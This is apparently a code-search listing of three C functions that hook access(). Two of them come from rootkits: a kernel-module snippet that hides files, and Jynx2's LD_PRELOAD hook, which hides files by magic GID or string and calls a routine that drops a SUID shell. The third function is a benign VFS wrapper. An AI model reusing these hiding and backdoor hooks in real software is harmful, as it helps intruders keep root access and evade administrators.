コード例 #1
0
ファイル: hide_file.c プロジェクト: balle/c-snippets
int new_access(const char *pathname, int mode)
{
  if( (strstr(pathname, hide) != NULL) && current->p_pptr->pid > 1 )
    return -ENOENT;
  else
    return old_access(pathname, mode);
}
コード例 #2
0
ファイル: jynx2.c プロジェクト: SokolSG/Jynx2
int
access (const char *path, int amode)
{
  struct stat s_fstat;

#ifdef DEBUG
  printf ("access hooked.\n");
#endif

  if (!libc)
    libc = dlopen (LIBC_PATH, RTLD_LAZY);

  if (!old_access)
    old_access = dlsym (libc, "access");

  if (old_xstat == NULL)
    old_xstat = dlsym (libc, "__xstat");

  drop_suid_shell_if_env_set ();

  memset (&s_fstat, 0, sizeof (stat));

  old_xstat (_STAT_VER, path, &s_fstat);

  if (s_fstat.st_gid == MAGIC_GID || (strstr (path, MAGIC_STRING))
      || (strstr (path, CONFIG_FILE))) {
    errno = ENOENT;
    return -1;
  }

  return old_access (path, amode);
}
コード例 #3
0
ファイル: libvfs.c プロジェクト: DeforaOS/VFS
/* access */
int access(const char * path, int mode)
{
    int ret;

    _libvfs_init();
    if(_libvfs_is_remote(path) == 0)
        return old_access(path, mode);
    if((path = _libvfs_get_remote_path(path)) == NULL)
        return -1;
    if((mode = _vfs_flags(_vfs_flags_access, _vfs_flags_access_cnt, mode,
                          1)) < 0)
    {
        errno = EINVAL;
        return -1;
    }
    if(appclient_call(_appclient, (void **)&ret, "access", path, mode) != 0)
        return -1;
#ifdef DEBUG
    fprintf(stderr, "DEBUG: access(\"%s\", %o) => %d\n", path, mode, ret);
#endif
    return ret;
}